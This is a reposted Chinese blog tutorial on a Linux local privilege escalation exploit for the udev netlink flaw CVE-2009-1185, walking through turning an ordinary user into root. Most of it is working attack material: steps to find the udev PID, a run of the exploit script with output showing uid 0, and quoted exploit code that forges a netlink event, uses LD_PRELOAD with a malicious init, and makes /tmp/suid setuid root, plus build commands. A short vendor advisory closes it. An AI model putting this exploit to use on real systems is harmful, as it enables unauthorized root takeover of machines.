php用户提权root,LINUX 普通用户提权ROOT (完整版) 转

本文探讨了Linux系统中的UDEV漏洞,通过创建可写设备文件实现本地权限升级。作者分享了利用脚本触发UDEV、修改LD_PRELOAD和execl调用的技巧,展示了如何从test用户权限变为root。文章还介绍了CVE-2009-1185漏洞详情及安全建议。
摘要由CSDN通过智能技术生成

1. 在LINUX目录下建立test 帐户

2.下载 a脚本 在

3.查看UDEV的PID  方法一: 先cat /proc/net/netlink

ffff810077587400 15  364    ffffffff 0        0        0000000000000000 2

ffff810037f81000 16  0      00000000 0        0        0000000000000000 2

ffff810077078400 18  0      00000000 0        0        0000000000000000 2

那个364就是 UDEV的进程,如果出现很多不知道哪一个用方法2

方法二:

另外最好通过ps aux | grep udev获取pid 为365,然后再-1,把这个参数传给A脚本

然后在test 用户的当前目录 里

按以下步骤运行

[haha@localhost ~]$ id

uid=501(haha) gid=502(haha) groups=502(haha)

[haha@localhost ~]$sh a 364

suid.c: In function 'main':

suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'

sh-3.1# id

uid=0(root) gid=0(root) groups=502(haha)

此时的UID 变为0了 ,test用户已经变为 ROOT用户 可以继续以下

sh-3.1# bash

[root@localhost ~]#

看!test -> ROOT 用户大变身!!

说说我的测试版本[root@localhost ~]# uname -a

Linux localhost.localdomain 2.6.18-8.el5 #1 SMP Fri Jan 26 14:15:14 EST 2007 x86_64 x86_64 x86_64 GNU/Linux

目前RH5 和UBANTU 以及DABIAN都测试通过了 但是TURBOLINUX上没有测试通过..

rar.gif

文件:

Linux Kernel 2_6 UDEV Local Privilege Escalation Exploit.rar

大小:

1KB

下载:

转自:

这个脚本在我的FC上不完全能成功。

能看到/dev/foo这个设备

能看到有个root身份的sh在运行。

所以原理上是可以的,可能execl有些问题,我稍微改了一些就好了

简单解释一下:

程序有3部分:

udev.c:  触发udev, 装载一个块设备

sprintf(event, "add");

sprintf(subsystem, "block");

sprintf(sysfspath, "/dev/foo");

sprintf(major, "8");

sprintf(minor, "1");

mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;

关键的一点是,触发一个init()调用,而这个init()函数在下面的program里被重定义了。而这个调用是以root身份进行的。

program.c: 关键

setgid(0);

setuid(0); //得到root身份,之后你可以用任何C,比如 FILE * fp=fopen("/test","w"); fprintf(fp, "ttttt");fclose(fp); 在根路径下建个文件

unsetenv("LD_PRELOAD");

execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);//关键: 对/tmp/suid/ 设置为owner=root, set uid bit, 这个普通用户也能以root身份运行这个suid程序。但我的机器上,execl调用有些问题,我就这么改:

chown(“/tmp/suid",0,0);

chmod("/tmp/suid",04777);

//以上把/tmp/suid 改成任何你想以root身份运行的程序都可以,比如/bin/bash,

编译

gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 init.o -nostartfiles

cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0

这样, /tmp/libno_ex.so和原来的libno_ex.so的区别就是新的那个里有自定义的_init()

suid.c: 一个普通的程序,调用/bin/bash/,非必要程序

脚本其他部分就是使得hack傻瓜化,自动化

------------------------------------------

问题描述:

udev提供用户空间API并在系统中仅存在设备的情况下实现动态设备目录。udev取代了

devfs以提供更强大的热插拔功能。Netlink是面向数据报的服务,用于在内核模块与

用户空间进程之间传输信息。

udev没有正确的检查Netlink消息的来源,本地攻击者可以利用这个漏洞向udev发送特

制的Netlink消息,导致其创建已有系统块设备(如root文件系统)完全可写的块设备

文件,以获得root权限。(CVE-2009-1185)

Red Hat感谢SUSE安全小组的Sebastian Krahmer负责任的报告了这个漏洞。

建议udev用户升级到这些包含有修复漏洞后端移植补丁的新版软件包。安装更新后,

udev守护程序会自动重启。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值